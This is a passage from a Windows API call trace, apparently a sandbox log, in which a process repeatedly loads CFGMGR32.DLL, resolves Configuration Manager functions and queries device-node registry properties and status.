[0190.768] RtlFreeHeap (HeapHandle=0x196ee760000, Flags=0x0, BaseAddress=0x196ee856360) returned 1 [0190.768] malloc (_Size=0xd8) returned 0x196ef0d67b0 [0190.768] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0190.768] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0190.769] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0190.769] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0190.769] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0190.769] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0190.769] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0190.769] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0190.769] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0190.769] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0190.770] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0190.770] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0190.770] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0190.770] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0190.770] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0190.770] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0190.770] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0190.770] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0190.770] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0190.771] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0190.771] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0190.771] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0190.771] malloc (_Size=0x18) returned 0x196ef0d1a60 [0190.771] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x28, ulProperty=0xc, pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84, ulFlags=0x0 | out: pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84) returned 0x0 [0190.773] malloc (_Size=0x48) returned 0x196ef0fb5e0 [0190.773] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117cd40 | out: lpSystemTimeAsFileTime=0x67117cd40*(dwLowDateTime=0x52909a07, dwHighDateTime=0x1d9eb0c)) [0190.773] SetEvent (hEvent=0x248) returned 1 [0190.777] malloc (_Size=0xd8) returned 0x196ef0d67b0 [0190.777] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0190.777] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0190.777] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0190.777] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0190.777] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0190.777] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0190.778] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0190.778] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0190.778] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0190.778] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0190.778] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0190.778] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0190.778] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0190.778] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0190.778] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0190.779] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0190.779] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0190.779] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0190.779] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0190.779] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0190.779] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0190.779] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0190.779] malloc (_Size=0x18) returned 0x196ef0d1ae0 [0190.779] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x28, ulProperty=0x9, pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84, ulFlags=0x0 | out: pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84) returned 0x0 [0190.780] malloc (_Size=0x48) returned 0x196ef0fb220 [0190.780] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117cd40 | out: lpSystemTimeAsFileTime=0x67117cd40*(dwLowDateTime=0x52909a07, dwHighDateTime=0x1d9eb0c)) [0190.780] SetEvent (hEvent=0x248) returned 1 [0190.783] malloc (_Size=0xd8) returned 0x196ef0d67b0 [0190.783] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0190.783] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0190.783] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0190.783] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0190.783] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0190.783] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0190.784] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0190.784] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0190.784] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0190.784] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0190.784] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0190.784] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0190.784] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0190.784] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0190.785] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0190.785] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0190.785] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0190.785] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0190.785] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0190.785] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0190.785] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0190.785] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0190.785] malloc (_Size=0x18) returned 0x196ef0d1c80 [0190.786] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x28, ulProperty=0x8, pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84, ulFlags=0x0 | out: pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84) returned 0x0 [0190.786] malloc (_Size=0x48) returned 0x196ef0fbea0 [0190.786] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117cd40 | out: lpSystemTimeAsFileTime=0x67117cd40*(dwLowDateTime=0x5292fc6d, dwHighDateTime=0x1d9eb0c)) [0190.786] SetEvent (hEvent=0x248) returned 1 [0191.089] malloc (_Size=0xd8) returned 0x196ef0d67b0 [0191.089] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0191.090] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0191.090] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0191.090] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0191.090] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0191.090] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0191.090] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0191.090] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0191.091] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0191.091] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0191.091] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0191.091] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0191.091] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0191.091] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0191.091] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0191.091] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0191.092] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0191.092] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0191.092] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0191.092] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0191.092] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0191.092] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0191.092] malloc (_Size=0x18) returned 0x196ef0d2060 [0191.092] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x28, ulProperty=0x5, pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84, ulFlags=0x0 | out: pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84) returned 0x25 [0191.093] malloc (_Size=0x48) returned 0x196ef0fb950 [0191.093] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117cd40 | out: lpSystemTimeAsFileTime=0x67117cd40*(dwLowDateTime=0x52c1cf11, dwHighDateTime=0x1d9eb0c)) [0191.093] SetEvent (hEvent=0x248) returned 1 [0191.098] malloc (_Size=0xd8) returned 0x196ef0d67b0 [0191.098] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0191.098] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0191.098] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0191.098] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0191.098] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0191.099] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0191.099] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0191.099] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0191.099] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0191.099] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0191.099] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0191.099] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0191.100] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0191.100] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0191.100] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0191.100] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0191.100] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0191.100] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0191.100] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0191.100] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0191.101] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0191.101] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0191.101] malloc (_Size=0x18) returned 0x196ef0d1fe0 [0191.101] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x28, ulProperty=0x1, pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84, ulFlags=0x0 | out: pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84) returned 0x0 [0191.103] malloc (_Size=0x48) returned 0x196ef0fba40 [0191.104] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117cd40 | out: lpSystemTimeAsFileTime=0x67117cd40*(dwLowDateTime=0x52c1cf11, dwHighDateTime=0x1d9eb0c)) [0191.104] SetEvent (hEvent=0x248) returned 1 [0191.108] malloc (_Size=0xd8) returned 0x196ef0d67b0 [0191.108] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0191.109] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0191.109] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0191.109] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0191.109] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0191.109] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0191.109] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0191.109] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0191.110] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0191.110] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0191.110] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0191.110] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0191.110] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0191.110] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0191.110] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0191.111] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0191.111] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0191.111] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0191.111] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0191.111] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0191.111] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0191.111] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0191.111] malloc (_Size=0x18) returned 0x196ef0d1e60 [0191.112] CM_Get_DevNode_Status (in: pulStatus=0x67117d608, pulProblemNumber=0x67117d5b0, dnDevInst=0x28, ulFlags=0x0 | out: pulStatus=0x67117d608, pulProblemNumber=0x67117d5b0) returned 0x0 [0191.112] malloc (_Size=0x48) returned 0x196ef0fbd10 [0191.112] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117d530 | out: lpSystemTimeAsFileTime=0x67117d530*(dwLowDateTime=0x52c428a4, dwHighDateTime=0x1d9eb0c)) [0191.112] SetEvent (hEvent=0x248) returned 1 [0191.116] malloc (_Size=0xd8) returned 0x196ef0d67b0 [0191.116] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0191.116] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0191.116] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0191.117] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0191.117] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0191.117] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0191.117] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0191.117] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0191.117] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0191.117] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0191.118] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0191.118] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0191.118] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0191.118] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0191.118] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0191.118] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0191.118] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0191.119] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0191.119] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0191.119] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0191.119] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0191.119] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0191.119] malloc (_Size=0x18) returned 0x196ef0d1a60 [0191.119] CM_Get_First_Log_Conf (in: plcLogConf=0x67117d5f8, dnDevInst=0x28, ulFlags=0x4 | out: plcLogConf=0x67117d5f8) returned 0xe [0191.120] malloc (_Size=0x48) returned 0x196ef0fc120 [0191.120] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117d550 | out: lpSystemTimeAsFileTime=0x67117d550*(dwLowDateTime=0x52c428a4, dwHighDateTime=0x1d9eb0c)) [0191.120] SetEvent (hEvent=0x248) returned 1 [0191.127] malloc (_Size=0xd8) returned 0x196ef0d67b0 [0191.127] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0191.128] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0191.128] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0191.128] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0191.129] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0191.129] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0191.130] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0191.130] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0191.131] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0191.132] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0191.132] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0191.133] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0191.133] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0191.134] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0191.134] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0191.135] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0191.135] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0191.136] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0191.319] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0191.320] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0191.320] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0191.345] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0191.346] malloc (_Size=0x18) returned 0x196ef0d1ec0 [0191.346] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x28, ulProperty=0xd, pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84, ulFlags=0x0 | out: pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84) returned 0x0 [0191.346] malloc (_Size=0x48) returned 0x196ef0fb9a0 [0191.346] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117cd40 | out: lpSystemTimeAsFileTime=0x67117cd40*(dwLowDateTime=0x52e7f58a, dwHighDateTime=0x1d9eb0c)) [0191.346] SetEvent (hEvent=0x248) returned 1 [0191.351] malloc (_Size=0xd8) returned 0x196ef0d67b0 [0191.351] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0191.351] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0191.351] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0191.351] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0191.351] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0191.351] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0191.352] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0191.352] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0191.352] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0191.352] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 